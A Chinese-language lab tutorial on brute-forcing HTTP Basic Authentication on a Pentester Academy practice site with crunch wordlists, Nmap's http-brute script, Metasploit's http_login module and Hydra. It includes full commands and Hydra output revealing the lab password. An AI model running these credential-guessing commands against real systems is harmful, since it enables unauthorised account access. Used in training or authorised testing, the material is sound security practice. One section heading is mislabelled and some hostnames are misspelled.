参考:Bypass HTTP Basic Authentication with Nmap and Metasploit
HTTP身份验证介绍
HTTP身份验证是在请求特定web资源时提供用户名和密码的一种方法。
客户端以未加密的base64编码文本的形式发送用户名和密码。
当HTTP接收到对受保护资源的匿名请求时,它可以使用401(拒绝访问)状态码拒绝请求,从而强制使用基本身份验证。
HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="Server Results"
Content-Length: 0
WWW-Authenticate
中的单词 Basic
表示用户必须使用Basic身份验证方法来访问受保护的资源。
可以将领域设置为描述特定资源中的安全区域的任何值。
GET /protectedfiles/ HTTP/1.1
Host: www.kamranmohsin.com
Authorization: Basic adsadWNoOmY=
当成功尝试时,HTTP状态变为 200 OK. adsadWNoOmY=
是basic64
编码版本的用户名和密码。
用Nmap绕过HTTP身份验证
绕过可以通过 Nmap 来完成. Nmap是一款安全扫描器,它一般用于发现计算机网络上的主机和服务.
Nmap附带了130多个NSE脚本,可以帮助发现网络中几乎所有可能的信息.
想要动手练习,请点击这里. 在链接中提供了绕过身份验证的提示.
对于用户名和密码,在Kali Linux中创建两个单独的文件。我先创建一个目录。
mkdir demo
cd demo
vi users.txt
将可能的用户名nick, admin写入,users.txt里面保存.当然你也可用网上别人整理好的比如SecLists.
让我们做一个密码文件,根据提示也就是5个字符,只使用a,s,d小写。密码例子asddd, aassd, ssdaa等。
crunch 5 5 asd > pass.txt
Crunch命令有助于为蛮力强制进行组合。紧随其后的是5个包含asd的最小或最大字符,结果的组合被保存到pass.txt文件中.
现在使用nmap http-brute命令绕过http基本身份验证,下面是命令:
nmap -p 80 --script http-brute --script-args 'http-brute.hostname=pentesteracademy
lab.appspot.com, http-brute.method=POST, http-brute.path=/path/webapp/basicauth,
userdb=/root/demo/users.txt, passdb=/root/demo/pass.txt' -n -v pentesteracademy
lab.appspot.com
我们正在检查端口 80
,主机名(http-brute.hostname
)应该是你绕过认证的站点。
方法
和路径
应该通过查看登录页面的源页面进行确定。
应该给出users.txt
和pass.txt
的完整路径。-n
表示没有dns, -v
表示详细模式,最后要写出网站的名称。
用Nmap绕过HTTP身份验证
Metasploit有助于发现安全问题,验证漏洞缓解&管理安全评估.
命令如下:
msfconsole
进入 msf >
后
search http_login
use auxiliary/scanner/http/http_login
进入 msf5 auxiliary(scanner/http/http_login) >
后
show options
set AUTH_URI /lab/webapp/basicauth
set BLANK_PASSWORDS false
set PASS_FILE /root/demo/pass.txt
set REQUESTTYPE POST
set RHOSTS pentesteracademylay.appspot.com
set STOP_ON_SUCCESS true
set THREADS 20
set USERNAME admin
set VHOST pentesteracademylay.appspot.com
set USER_FILE ''
set USER_AS_PASS false
set USERPASS_FILE ''
run
运行命令后,几分钟内您将获得密码aaddd。
如果在不知道 USERNAME 的情况下需要设置 USER_FILE
, 上面 set USER_FILE ''
是设置为空的意思.
hydra暴力破解HTTP身份验证
hydra -L users.txt -P pass.txt http-post://pentesteracademylab.appspot.com/lab/webapp/basicauth
[root@ideal-cluster-2 ~]# hydra -L users.txt -P pass.txt http-post://pentesteracademylab.appspot.com/lab/webapp/basicauth
Hydra v9.1-dev (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-29 01:55:19
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (l:3/p:4), ~1 try per task
[DATA] attacking http-post://pentesteracademylab.appspot.com:80/lab/webapp/basicauth
[80][http-post] host: pentesteracademylab.appspot.com login: admin password: aaddd
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-29 01:55:19
hydra使用参考 hydra使用介绍
: